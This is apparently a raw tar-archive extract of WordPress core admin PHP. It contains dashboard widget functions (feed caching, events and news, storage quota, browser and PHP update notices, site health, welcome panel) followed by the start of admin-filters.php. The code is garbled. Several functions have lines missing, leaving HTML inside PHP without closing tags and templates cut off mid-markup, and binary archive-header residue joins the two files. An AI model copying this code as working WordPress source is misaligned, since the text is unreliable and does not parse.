 * which is later replaced by Ajax call (see top of /wp-admin/index.php)
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @param string   $widget_id  The widget ID.
 * @param callable $callback   The callback function used to display each feed.
 * @param array    $check_urls RSS feeds.
 * @param mixed    ...$args    Optional additional parameters to pass to the callback function.
 * @return bool True on success, false on failure.
 */
function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array(), ...$args ) {
	$loading    = '<p class="widget-loading hide-if-no-js">' . __( 'Loading&hellip;' ) . '</p><div class="hide-if-js notice notice-error inline"><p>' . __( 'This widget requires JavaScript.' ) . '</p></div>';
	$doing_ajax = wp_doing_ajax();

if ( empty( $check_urls ) ) {
		$widgets = get_option( 'dashboard_widget_options' );
		if ( empty( $widgets[ $widget_id ]['url'] ) && ! $doing_ajax ) {
			echo $loading;
			return false;
		}
		$check_urls = array( $widgets[ $widget_id ]['url'] );
	}

$locale    = get_user_locale();
	$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
	$output    = get_transient( $cache_key );
	if ( false !== $output ) {
		echo $output;
		return true;
	}

if ( ! $doing_ajax ) {
		echo $loading;
		return false;
	}

if ( $callback && is_callable( $callback ) ) {
		array_unshift( $args, $widget_id, $check_urls );
		ob_start();
		call_user_func_array( $callback, $args );
		// Default lifetime in cache of 12 hours (same as the feeds).
		set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS );
	}

return true;
}

//
// Dashboard Widgets Controls.
//

/**
 * Calls widget control callback.
 *
 * @since 2.5.0
 *
 * @global array $wp_dashboard_control_callbacks
 *
 * @param int $widget_control_id Registered Widget ID.
 */
function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
	global $wp_dashboard_control_callbacks;

if ( is_scalar( $widget_control_id ) && $widget_control_id && isset( $wp_dashboard_control_callbacks[ $widget_control_id ] ) && is_callable( $wp_dashboard_control_callbacks[ $widget_control_id ] ) ) {
		call_user_func(
			$wp_dashboard_control_callbacks[ $widget_control_id ],
			'',
			array(
				'id'       => $widget_control_id,
				'callback' => $wp_dashboard_control_callbacks[ $widget_control_id ],
			)
		);
	}
}

/**
 * The RSS dashboard widget control.
 *
 * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data
 * from RSS-type widgets.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 * @param array  $form_inputs
 */
function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
	$widget_options = get_option( 'dashboard_widget_options' );
	if ( ! $widget_options ) {
		$widget_options = array();
	}

if ( ! isset( $widget_options[ $widget_id ] ) ) {
		$widget_options[ $widget_id ] = array();
	}

$number = 1; // Hack to use wp_widget_rss_form().

$widget_options[ $widget_id ]['number'] = $number;

if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget-rss'][ $number ] ) ) {
		$_POST['widget-rss'][ $number ]         = wp_unslash( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]           = wp_widget_rss_process( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]['number'] = $number;

// Title is optional. If black, fill it if possible.
		if ( ! $widget_options[ $widget_id ]['title'] && isset( $_POST['widget-rss'][ $number ]['title'] ) ) {
			$rss = fetch_feed( $widget_options[ $widget_id ]['url'] );
			if ( is_wp_error( $rss ) ) {
				$widget_options[ $widget_id ]['title'] = htmlentities( __( 'Unknown Feed' ) );
			} else {
				$widget_options[ $widget_id ]['title'] = htmlentities( strip_tags( $rss->get_title() ) );
				$rss->__destruct();
				unset( $rss );
			}
		}
		update_option( 'dashboard_widget_options', $widget_options );
		$locale    = get_user_locale();
		$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
		delete_transient( $cache_key );
	}

wp_widget_rss_form( $widget_options[ $widget_id ], $form_inputs );
}

/**
 * Renders the Events and News dashboard widget.
 *
 * @since 4.8.0
 */
function wp_dashboard_events_news() {
	wp_print_community_events_markup();

<p class="community-events-footer">
		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://make.wordpress.org/community/meetups-landing-page',
				__( 'Meetups' ),
				/* translators: Accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://central.wordcamp.org/schedule/',
				__( 'WordCamps' ),
				/* translators: Accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				/* translators: If a Rosetta site exists (e.g. https://es.wordpress.org/news/), then use that. Otherwise, leave untranslated. */
				esc_url( _x( 'https://wordpress.org/news/', 'Events and News dashboard widget' ) ),
				__( 'News' ),
				/* translators: Accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>
	</p>

<?php
}

/**
 * Prints the markup for the Community Events section of the Events and News Dashboard widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_markup() {
	?>

<?php
	/*
	 * Hide the main element when the page first loads, because the content
	 * won't be ready until wp.communityEvents.renderEventsTemplate() has run.
	 */
	?>
	<div id="community-events" class="community-events" aria-hidden="true">
		<div class="activity-block">
			<p>
				<span id="community-events-location-message"></span>

<button class="button-link community-events-toggle-location" aria-label="<?php esc_attr_e( 'Edit city' ); ?>" aria-expanded="false">
					<span class="dashicons dashicons-edit"></span>
				</button>
			</p>

<form class="community-events-form" aria-hidden="true" action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" method="post">
				<label for="community-events-location">
					<?php _e( 'City:' ); ?>
				</label>
				<?php
				/* translators: Replace with a city related to your locale.
				 * Test that it matches the expected location and has upcoming
				 * events before including it. If no cities related to your
				 * locale have events, then use a city related to your locale
				 * that would be recognizable to most users. Use only the city
				 * name itself, without any region or country. Use the endonym
				 * (native locale name) instead of the English name if possible.
				 */
				?>
				<input id="community-events-location" class="regular-text" type="text" name="community-events-location" placeholder="<?php esc_attr_e( 'Cincinnati' ); ?>" />

<?php submit_button( __( 'Submit' ), 'secondary', 'community-events-submit', false ); ?>

<?php
}

/**
 * Renders the events templates for the Event and News widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_templates() {
	?>

<div class="event-date-time">
					<span class="event-date">{{ event.user_formatted_date }}</span>
					<# if ( 'meetup' === event.type ) { #>
						<span class="event-time">
							{{ event.user_formatted_time }} {{ event.timeZoneAbbreviation }}
						</span>
					<# } #>
				</div>
			</li>
		<# } ) #>
	</script>

<# } else { #>
				<?php
				printf(
					/* translators: %s: Meetup organization documentation URL. */
					__( 'There aren&#8217;t any events scheduled near you at the moment. Would you like to <a href="%s">organize a WordPress event</a>?' ),
					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
				);
				?>
			<# } #>
		</li>
	</script>
	<?php
}

/**
 * 'WordPress Events and News' dashboard widget.
 *
 * @since 2.7.0
 * @since 4.8.0 Removed popular plugins feed.
 */
function wp_dashboard_primary() {
	$feeds = array(
		'news'   => array(

/**
			 * Filters the primary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.5.0
			 *
			 * @param string $link The widget's primary link URL.
			 */
			'link'         => apply_filters( 'dashboard_primary_link', __( 'https://wordpress.org/news/' ) ),

/**
			 * Filters the primary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's primary feed URL.
			 */
			'url'          => apply_filters( 'dashboard_primary_feed', __( 'https://wordpress.org/news/feed/' ) ),

/**
			 * Filters the primary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's primary link.
			 */
			'title'        => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
			'items'        => 1,
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
		'planet' => array(

/**
			 * Filters the secondary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $link The widget's secondary link URL.
			 */
			'link'         => apply_filters( 'dashboard_secondary_link', __( 'https://planet.wordpress.org/' ) ),

/**
			 * Filters the secondary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's secondary feed URL.
			 */
			'url'          => apply_filters( 'dashboard_secondary_feed', __( 'https://planet.wordpress.org/feed/' ) ),

/**
			 * Filters the secondary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's secondary link.
			 */
			'title'        => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),

/**
			 * Filters the number of secondary link items for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 4.4.0
			 *
			 * @param string $items How many items to show in the secondary feed.
			 */
			'items'        => apply_filters( 'dashboard_secondary_items', 3 ),
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
	);

wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
}

/**
 * Displays the WordPress events and news feeds.
 *
 * @since 3.8.0
 * @since 4.8.0 Removed popular plugins feed.
 *
 * @param string $widget_id Widget ID.
 * @param array  $feeds     Array of RSS feeds.
 */
function wp_dashboard_primary_output( $widget_id, $feeds ) {
	foreach ( $feeds as $type => $args ) {
		$args['type'] = $type;
		echo '<div class="rss-widget">';
			wp_widget_rss_output( $args['url'], $args );
		echo '</div>';
	}
}

/**
 * Displays file upload quota on dashboard.
 *
 * Runs on the {@see 'activity_box_end'} hook in wp_dashboard_right_now().
 *
 * @since 3.0.0
 *
 * @return bool|null True if not multisite, user can't upload files, or the space check option is disabled.
 */
function wp_dashboard_quota() {
	if ( ! is_multisite() || ! current_user_can( 'upload_files' ) || get_site_option( 'upload_space_check_disabled' ) ) {
		return true;
	}

$quota = get_space_allowed();
	$used  = get_space_used();

if ( $used > $quota ) {
		$percentused = '100';
	} else {
		$percentused = ( $used / $quota ) * 100;
	}
	$used_class  = ( $percentused >= 70 ) ? ' warning' : '';
	$used        = round( $used, 2 );
	$percentused = number_format( $percentused );

?>
	<h3 class="mu-storage"><?php _e( 'Storage Space' ); ?></h3>
	<div class="mu-storage">
	<ul>
		<li class="storage-count">
			<?php
			$text = sprintf(
				/* translators: %s: Number of megabytes. */
				__( '%s MB Space Allowed' ),
				number_format_i18n( $quota )
			);
			printf(
				'<a href="%1$s">%2$s <span class="screen-reader-text">(%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				__( 'Manage Uploads' )
			);
			?>
		</li><li class="storage-count <?php echo $used_class; ?>">
			<?php
			$text = sprintf(
				/* translators: 1: Number of megabytes, 2: Percentage. */
				__( '%1$s MB (%2$s%%) Space Used' ),
				number_format_i18n( $used, 2 ),
				$percentused
			);
			printf(
				'<a href="%1$s" class="musublink">%2$s <span class="screen-reader-text">(%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				__( 'Manage Uploads' )
			);
			?>
		</li>
	</ul>
	</div>
	<?php
}

/**
 * Displays the browser update nag.
 *
 * @since 3.2.0
 */
function wp_dashboard_browser_nag() {
	$notice   = '';
	$response = wp_check_browser_version();

if ( $response ) {
		if ( $response['insecure'] ) {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an insecure version of %s. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		} else {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an old version of %s. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		}

$browser_nag_class = '';
		if ( ! empty( $response['img_src'] ) ) {
			$img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) ) ? $response['img_src_ssl'] : $response['img_src'];

$notice           .= '<div class="alignright browser-icon"><a href="' . esc_attr( $response['update_url'] ) . '"><img src="' . esc_attr( $img_src ) . '" alt="" /></a></div>';
			$browser_nag_class = ' has-browser-icon';
		}
		$notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>";

$browsehappy = 'https://browsehappy.com/';
		$locale      = get_user_locale();
		if ( 'en_US' !== $locale ) {
			$browsehappy = add_query_arg( 'locale', $locale, $browsehappy );
		}

$notice .= '<p>' . sprintf(
			/* translators: 1: Browser update URL, 2: Browser name, 3: Browse Happy URL. */
			__( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ),
			esc_attr( $response['update_url'] ),
			esc_html( $response['name'] ),
			esc_url( $browsehappy )
		) . '</p>';
		$notice .= '<p class="hide-if-no-js"><a href="" class="dismiss" aria-label="' . esc_attr__( 'Dismiss the browser warning panel' ) . '">' . __( 'Dismiss' ) . '</a></p>';
		$notice .= '<div class="clear"></div>';
	}

/**
	 * Filters the notice output for the 'Browse Happy' nag meta box.
	 *
	 * @since 3.2.0
	 *
	 * @param string $notice   The notice content.
	 * @param array  $response An array containing web browser information. See `wp_check_browser_version()`.
	 */
	echo apply_filters( 'browse-happy-notice', $notice, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Adds an additional class to the browser nag if the current version is insecure.
 *
 * @since 3.2.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_browser_nag_class( $classes ) {
	$response = wp_check_browser_version();

if ( $response && $response['insecure'] ) {
		$classes[] = 'browser-insecure';
	}

return $classes;
}

/**
 * Checks if the user needs a browser update.
 *
 * @since 3.2.0
 *
 * @return array|bool Array of browser data on success, false on failure.
 */
function wp_check_browser_version() {
	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		return false;
	}

$key = md5( $_SERVER['HTTP_USER_AGENT'] );

$response = get_site_transient( 'browser_' . $key );
	if ( false === $response ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

$url     = 'http://api.wordpress.org/core/browse-happy/1.1/';
		$options = array(
			'body'       => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);

if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

$response = wp_remote_post( $url, $options );

if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

/**
		 * Response should be an array with:
		 *  'platform' - string - A user-friendly platform name, if it can be determined
		 *  'name' - string - A user-friendly browser name
		 *  'version' - string - The version of the browser the user is using
		 *  'current_version' - string - The most recent version of the browser
		 *  'upgrade' - boolean - Whether the browser needs an upgrade
		 *  'insecure' - boolean - Whether the browser is deemed insecure
		 *  'update_url' - string - The url to visit to upgrade
		 *  'img_src' - string - An image representing the browser
		 *  'img_src_ssl' - string - An image (over SSL) representing the browser
		 */
		$response = json_decode( wp_remote_retrieve_body( $response ), true );

if ( ! is_array( $response ) ) {
			return false;
		}

set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
	}

return $response;
}

/**
 * Displays the PHP update nag.
 *
 * @since 5.1.0
 */
function wp_dashboard_php_nag() {
	$response = wp_check_php_version();

if ( ! $response ) {
		return;
	}

if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		$msg = __( 'WordPress has detected that your site is running on an insecure version of PHP.' );
	} else {
		$msg = __( 'WordPress has detected that your site is running on an outdated version of PHP.' );
	}

?>
	<p><?php echo $msg; ?></p>

<p class="button-container">
		<?php
		printf(
			'<a class="button button-primary" href="%1$s" target="_blank" rel="noopener noreferrer">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
			esc_url( wp_get_update_php_url() ),
			__( 'Learn more about updating PHP' ),
			/* translators: Accessibility text. */
			__( '(opens in a new tab)' )
		);
		?>
	</p>
	<?php

wp_update_php_annotation();
	wp_direct_php_update_button();
}

/**
 * Adds an additional class to the PHP nag if the current version is insecure.
 *
 * @since 5.1.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_php_nag_class( $classes ) {
	$response = wp_check_php_version();

if ( $response && isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		$classes[] = 'php-insecure';
	}

return $classes;
}

/**
 * Displays the Site Health Status widget.
 *
 * @since 5.4.0
 */
function wp_dashboard_site_health() {
	$get_issues = get_transient( 'health-check-site-status-result' );

$issue_counts = array();

if ( false !== $get_issues ) {
		$issue_counts = json_decode( $get_issues, true );
	}

if ( ! is_array( $issue_counts ) || ! $issue_counts ) {
		$issue_counts = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);
	}

$issues_total = $issue_counts['recommended'] + $issue_counts['critical'];
	?>
	<div class="health-check-title-section site-health-progress-wrapper loading hide-if-no-js">
		<div class="site-health-progress">
			<svg role="img" aria-hidden="true" focusable="false" width="100%" height="100%" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg">
				<circle r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
				<circle id="bar" r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
			</svg>
		</div>
		<div class="site-health-progress-label">
			<?php if ( false === $get_issues ) : ?>
				<?php _e( 'No information yet&hellip;' ); ?>
			<?php else : ?>
				<?php _e( 'Results are still loading&hellip;' ); ?>
			<?php endif; ?>
		</div>
	</div>

<?php if ( false === $get_issues ) : ?>
		<p>
			<?php
			printf(
				/* translators: %s: URL to Site Health screen. */
				__( 'Site health checks will automatically run periodically to gather information about your site. You can also <a href="%s">visit the Site Health screen</a> to gather information about your site now.' ),
				esc_url( admin_url( 'site-health.php' ) )
			);
			?>
		</p>
	<?php else : ?>
		<p>
			<?php if ( $issue_counts['critical'] > 0 ) : ?>
				<?php _e( 'Your site has critical issues that should be addressed as soon as possible to improve its performance and security.' ); ?>
			<?php elseif ( $issues_total <= 0 ) : ?>
				<?php _e( 'Great job! Your site currently passes all site health checks.' ); ?>
			<?php else : ?>
				<?php _e( 'Your site&#8217;s health is looking good, but there are still some things you can do to improve its performance and security.' ); ?>
			<?php endif; ?>
		</p>
	<?php endif; ?>

<?php if ( $issues_total > 0 && false !== $get_issues ) : ?>
		<p>
			<?php
			printf(
				/* translators: 1: Number of issues. 2: URL to Site Health screen. */
				_n(
					'Take a look at the <strong>%1$d item</strong> on the <a href="%2$s">Site Health screen</a>.',
					'Take a look at the <strong>%1$d items</strong> on the <a href="%2$s">Site Health screen</a>.',
					$issues_total
				),
				$issues_total,
				esc_url( admin_url( 'site-health.php' ) )
			);
			?>
		</p>
	<?php endif; ?>

<?php
}

/**
 * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS).
 *
 * @since 2.5.0
 */
function wp_dashboard_empty() {}

/**
 * Displays a welcome panel to introduce users to WordPress.
 *
 * @since 3.3.0
 */
function wp_welcome_panel() {
	?>
	<div class="welcome-panel-content">
	<h2><?php _e( 'Welcome to WordPress!' ); ?></h2>
	<p class="about-description"><?php _e( 'We&#8217;ve assembled some links to get you started:' ); ?></p>
	<div class="welcome-panel-column-container">
	<div class="welcome-panel-column">
		<?php if ( current_user_can( 'customize' ) ) : ?>
			<h3><?php _e( 'Get Started' ); ?></h3>
			<a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Customize Your Site' ); ?></a>
		<?php endif; ?>
		<a class="button button-primary button-hero hide-if-customize" href="<?php echo admin_url( 'themes.php' ); ?>"><?php _e( 'Customize Your Site' ); ?></a>
		<?php if ( current_user_can( 'install_themes' ) || ( current_user_can( 'switch_themes' ) && count( wp_get_themes( array( 'allowed' => true ) ) ) > 1 ) ) : ?>
			<?php $themes_link = current_user_can( 'customize' ) ? add_query_arg( 'autofocus[panel]', 'themes', admin_url( 'customize.php' ) ) : admin_url( 'themes.php' ); ?>
			<p class="hide-if-no-customize">
				<?php
					/* translators: %s: URL to Themes panel in Customizer or Themes screen. */
					printf( __( 'or, <a href="%s">change your theme completely</a>' ), $themes_link );
				?>
			</p>
		<?php endif; ?>
	</div>
	<div class="welcome-panel-column">
		<h3><?php _e( 'Next Steps' ); ?></h3>
		<ul>
		<?php if ( 'page' === get_option( 'show_on_front' ) && ! get_option( 'page_for_posts' ) ) : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
		<?php elseif ( 'page' === get_option( 'show_on_front' ) ) : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Add a blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
		<?php else : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Write your first blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add an About page' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-setup-home">' . __( 'Set up your homepage' ) . '</a>', current_user_can( 'customize' ) ? add_query_arg( 'autofocus[section]', 'static_front_page', admin_url( 'customize.php' ) ) : admin_url( 'options-reading.php' ) ); ?></li>
		<?php endif; ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-view-site">' . __( 'View your site' ) . '</a>', home_url( '/' ) ); ?></li>
		</ul>
	</div>
	<div class="welcome-panel-column welcome-panel-last">
		<h3><?php _e( 'More Actions' ); ?></h3>
		<ul>
		<?php if ( current_theme_supports( 'widgets' ) ) : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-widgets">' . __( 'Manage widgets' ) . '</a>', admin_url( 'widgets.php' ) ); ?></li>
		<?php endif; ?>
		<?php if ( current_theme_supports( 'menus' ) ) : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-menus">' . __( 'Manage menus' ) . '</a>', admin_url( 'nav-menus.php' ) ); ?></li>
		<?php endif; ?>
		<?php if ( current_user_can( 'manage_options' ) ) : ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-comments">' . __( 'Turn comments on or off' ) . '</a>', admin_url( 'options-discussion.php' ) ); ?></li>
		<?php endif; ?>
			<li><?php printf( '<a href="%s" class="welcome-icon welcome-learn-more">' . __( 'Learn more about getting started' ) . '</a>', __( 'https://wordpress.org/support/article/first-steps-with-wordpress/' ) ); ?></li>
		</ul>
	</div>
	</div>
	</div>
	<?php
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������admin-filters.php�����������������������������������������������������������������������������������0000604�����������������00000015024�15075125354�0010020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration API: Default admin hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Bookmark hooks.
add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' );

// Dashboard hooks.
add_action( 'activity_box_end', 'wp_dashboard_quota' );

// Media hooks.
add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );
add_filter( 'plupload_init', 'wp_show_heic_upload_error' );

add_action( 'media_upload_image', 'wp_media_upload_handler' );
add_action( 'media_upload_audio', 'wp_media_upload_handler' );
add_action( 'media_upload_video', 'wp_media_upload_handler' );
add_action( 'media_upload_file', 'wp_media_upload_handler' );

add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );

add_action( 'post-html-upload-ui', 'media_upload_html_bypass' );

add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
add_filter( 'async_upload_file', 'get_media_item', 10, 2 );

add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 );

add_filter( 'media_upload_gallery', 'media_upload_gallery' );
add_filter( 'media_upload_library', 'media_upload_library' );

add_filter( 'media_upload_tabs', 'update_gallery_tab' );

// Misc hooks.
add_action( 'admin_init', 'wp_admin_headers' );
add_action( 'login_init', 'wp_admin_headers' );
add_action( 'admin_head', 'wp_admin_canonical_url' );
add_action( 'admin_head', 'wp_color_scheme_settings' );
add_action( 'admin_head', 'wp_site_icon' );
add_action( 'admin_head', 'wp_admin_viewport_meta' );
add_action( 'customize_controls_head', 'wp_admin_viewport_meta' );

// Prerendering.
if ( ! is_customize_preview() ) {
	add_filter( 'admin_print_styles', 'wp_resource_hints', 1 );
}

add_action( 'admin_print_scripts-post.php', 'wp_page_reload_on_back_button_js' );
add_action( 'admin_print_scripts-post-new.php', 'wp_page_reload_on_back_button_js' );

add_action( 'update_option_home', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_admin_email', 'wp_site_admin_email_change_notification', 10, 3 );

add_action( 'add_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );

add_filter( 'heartbeat_received', 'wp_check_locked_posts', 10, 3 );
add_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );
add_filter( 'heartbeat_received', 'heartbeat_autosave', 500, 2 );

add_filter( 'wp_refresh_nonces', 'wp_refresh_post_nonces', 10, 3 );
add_filter( 'wp_refresh_nonces', 'wp_refresh_heartbeat_nonces' );

add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' );

// Nav Menu hooks.
add_action( 'admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items' );

// Plugin hooks.
add_filter( 'allowed_options', 'option_update_filter' );

// Plugin Install hooks.
add_action( 'install_plugins_featured', 'install_dashboard' );
add_action( 'install_plugins_upload', 'install_plugins_upload' );
add_action( 'install_plugins_search', 'display_plugins_table' );
add_action( 'install_plugins_popular', 'display_plugins_table' );
add_action( 'install_plugins_recommended', 'display_plugins_table' );
add_action( 'install_plugins_new', 'display_plugins_table' );
add_action( 'install_plugins_beta', 'display_plugins_table' );
add_action( 'install_plugins_favorites', 'display_plugins_table' );
add_action( 'install_plugins_pre_plugin-information', 'install_plugin_information' );

// Template hooks.
add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
add_action( 'user_register', array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) );

// Theme hooks.
add_action( 'customize_controls_print_footer_scripts', 'customize_themes_print_templates' );

// Theme Install hooks.
add_action( 'install_themes_pre_theme-information', 'install_theme_information' );

// User hooks.
add_action( 'admin_init', 'default_password_nag_handler' );

add_action( 'admin_notices', 'default_password_nag' );
add_action( 'admin_notices', 'new_user_email_admin_notice' );

add_action( 'profile_update', 'default_password_nag_edit_user', 10, 2 );

add_action( 'personal_options_update', 'send_confirmation_on_profile_email' );

// Update hooks.
add_action( 'load-plugins.php', 'wp_plugin_update_rows', 20 ); // After wp_update_plugins() is called.
add_action( 'load-themes.php', 'wp_theme_update_rows', 20 ); // After wp_update_themes() is called.

add_action( 'admin_notices', 'update_nag', 3 );
add_action( 'admin_notices', 'paused_plugins_notice', 5 );
add_action( 'admin_notices', 'paused_themes_notice', 5 );
add_action( 'admin_notices', 'maintenance_nag', 10 );
add_action( 'admin_notices', 'wp_recovery_mode_nag', 1 );

add_filter( 'update_footer', 'core_update_footer' );

// Update Core hooks.
add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' );

// Upgrade hooks.
add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );

// Privacy hooks.
add_filter( 'wp_privacy_personal_data_erasure_page', 'wp_privacy_process_personal_data_erasure_page', 10, 5 );
add_filter( 'wp_privacy_personal_data_export_page', 'wp_privacy_process_personal_data_export_page', 10, 7 );
add_action( 'wp_privacy_personal_data_export_file', 'wp_privacy_generate_personal_data_export_file', 10 );
add_action( 'wp_privacy_personal_data_erased', '_wp_privacy_send_erasure_fulfillment_notification', 10 );

// Privacy policy text changes check.
add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'text_change_check' ), 100 );

// Show a "postbox" with the text suggestions for a privacy policy.
add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'notice' ) );

// Add the suggested policy text from WordPress.
